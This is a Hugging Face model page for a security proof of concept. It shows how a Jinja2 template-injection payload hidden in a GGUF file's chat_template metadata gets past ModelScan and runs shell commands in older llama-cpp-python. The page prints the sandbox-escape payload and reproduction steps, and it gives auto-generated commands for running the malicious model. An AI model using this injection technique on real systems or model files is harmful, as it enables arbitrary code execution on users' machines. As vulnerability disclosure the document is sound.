Instructions to use hoanghai2110/gguf-jinja2-ssti-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- llama.cpp
How to use hoanghai2110/gguf-jinja2-ssti-poc with llama.cpp:
Install (macOS, Linux)
curl -LsSf https://llama.app/install.sh | sh # Start a local OpenAI-compatible server with a web UI: llama serve -hf hoanghai2110/gguf-jinja2-ssti-poc # Run inference directly in the terminal: llama cli -hf hoanghai2110/gguf-jinja2-ssti-poc
Install from WinGet (Windows)
winget install llama.cpp # Start a local OpenAI-compatible server with a web UI: llama serve -hf hoanghai2110/gguf-jinja2-ssti-poc # Run inference directly in the terminal: llama cli -hf hoanghai2110/gguf-jinja2-ssti-poc
Use pre-built binary
# Download pre-built binary from: # https://github.com/ggerganov/llama.cpp/releases # Start a local OpenAI-compatible server with a web UI: ./llama-server -hf hoanghai2110/gguf-jinja2-ssti-poc # Run inference directly in the terminal: ./llama-cli -hf hoanghai2110/gguf-jinja2-ssti-poc
Build from source code
git clone https://github.com/ggerganov/llama.cpp.git cd llama.cpp cmake -B build cmake --build build -j --target llama-server llama-cli # Start a local OpenAI-compatible server with a web UI: ./build/bin/llama-server -hf hoanghai2110/gguf-jinja2-ssti-poc # Run inference directly in the terminal: ./build/bin/llama-cli -hf hoanghai2110/gguf-jinja2-ssti-poc
Use Docker
docker model run hf.co/hoanghai2110/gguf-jinja2-ssti-poc
- LM Studio
- Jan
- Ollama
How to use hoanghai2110/gguf-jinja2-ssti-poc with Ollama:
ollama run hf.co/hoanghai2110/gguf-jinja2-ssti-poc
- Unsloth Desktop
- Docker Model Runner
How to use hoanghai2110/gguf-jinja2-ssti-poc with Docker Model Runner:
docker model run hf.co/hoanghai2110/gguf-jinja2-ssti-poc
- Lemonade
How to use hoanghai2110/gguf-jinja2-ssti-poc with Lemonade:
Pull the model
# Download Lemonade from https://lemonade-server.ai/ lemonade pull hoanghai2110/gguf-jinja2-ssti-poc
Run and chat with the model
lemonade run user.gguf-jinja2-ssti-poc-{{QUANT_TAG}}List all available models
lemonade list
- Atomic Chat
GGUF Jinja2 SSTI – Security PoC
This is a security research proof-of-concept demonstrating a vulnerability in llama-cpp-python < 0.2.56 combined with ModelScan ≤ 0.8.8.
Vulnerability
A GGUF model file can embed a Jinja2 SSTI (Server-Side Template Injection) payload inside the tokenizer.chat_template metadata field.
- ModelScan ≤ 0.8.8:
.gguffiles are completely skipped (SCAN_NOT_SUPPORTED). CLI prints "No issues found! 🎉" — a false negative. - llama-cpp-python < 0.2.56: Chat template is loaded from GGUF at
Llama.__init__()and rendered with an unsandboxedjinja2.Environment→ arbitrary code execution at first inference call.
Reproduction
pip install modelscan==0.8.8
# Step 1: ModelScan bypass
modelscan -p malicious_ace.gguf
# → "No issues found! 🎉" (file was NEVER scanned)
# Step 2: ACE trigger (requires llama-cpp-python < 0.2.56)
pip install "llama-cpp-python==0.2.55"
python3 -c "
from llama_cpp import Llama
model = Llama('malicious_ace.gguf', n_ctx=512, verbose=False)
model.create_chat_completion(messages=[{'role':'user','content':'hello'}])
# uid=1000(user)... printed to stdout
"
Payload Location
The SSTI payload is stored in the GGUF tokenizer.chat_template field:
{%- set payload -%}
{%- for c in ().__class__.__base__.__subclasses__() -%}
{%- if c.__name__ == 'catch_warnings' -%}
{{- c()._module.__builtins__['__import__']('os').popen('id').read() -}}
{%- endif -%}
{%- endfor -%}
{%- endset -%}
{{ payload }}
Fix
- ModelScan: Add GGUF scanner; fix CLI to distinguish skipped vs. clean files
- llama-cpp-python: Upgrade to ≥ 0.2.56 (fixed in commit
561e8806, 2024-05-10)
References
- llama-cpp-python security fix: https://github.com/abetlen/llama-cpp-python/commit/561e8806
- ModelScan repository: https://github.com/protectai/modelscan
- Downloads last month
- 7
Hardware compatibility
Log In to add your hardware
We're not able to determine the quantization variants.
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support
ollama run hf.co/hoanghai2110/gguf-jinja2-ssti-poc